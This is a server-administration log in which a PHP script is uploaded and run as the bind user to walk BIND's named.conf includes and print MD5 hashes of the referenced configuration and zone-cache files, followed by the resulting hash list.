MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:16:59: Establishing a connection
2026-04-23 13:16:59: 

PUT: /tmp/pkp487102

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:16:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp487102; rm /tmp/pkp487102'

2026-04-23 13:16:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
